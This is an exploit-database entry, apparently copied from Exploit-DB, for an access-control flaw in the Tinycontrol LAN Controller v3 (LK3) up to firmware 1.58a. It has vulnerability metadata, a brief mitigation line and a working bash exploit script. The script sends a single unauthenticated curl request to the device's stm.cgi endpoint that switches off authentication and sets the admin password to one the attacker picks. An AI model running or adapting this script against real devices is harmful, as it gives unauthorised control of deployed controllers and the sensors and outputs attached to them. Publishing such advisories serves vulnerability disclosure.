Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change

vendor:

LAN Controller v3

by:

LiquidWorm

6.1

CVSS

HIGH

Insecure Access Control

284

CWE

Product Name: LAN Controller v3

Affected Version From: <=1.58a

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:tinycontrol:lan_controller_v3

Metasploit:

Other Scripts:

Platforms Tested: lwIP

2023

Tinycontrol LAN Controller v3 (LK3) 1.58a – Remote Admin Password Change

The application suffers from an insecure access control allowing an unauthenticated attacker to change accounts passwords and bypass authentication gaining panel control access.

Mitigation:

Implement proper access control mechanisms, such as strong authentication and authorization checks.

Source

Exploit-DB raw data:

#!/bin/bash
: "
Exploit Title: Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change
Exploit Author: LiquidWorm

Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8

Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.

Desc: The application suffers from an insecure access
control allowing an unauthenticated attacker to
change accounts passwords and bypass authentication
gaining panel control access.

Tested on: lwIP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5787
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5787.php


18.08.2023

"

set -euo pipefail
IFS=$'\n\t'

if [ $# -ne 2 ]; then
    echo -ne '\nUsage: $0 [ipaddr] [desired admin pwd]\n\n'
    exit
fi

IP=$1
PW=$2

EN=$(echo -n $PW | base64)

curl -s http://$IP/stm.cgi?auth=00YWRtaW4=*$EN*dXNlcg==*dXNlcg==
# ?auth=00 (disable authentication, disable upgrade), https://docs.tinycontrol.pl/en/lk3/api/access/
echo -ne '\nAdmin password changed to: '$PW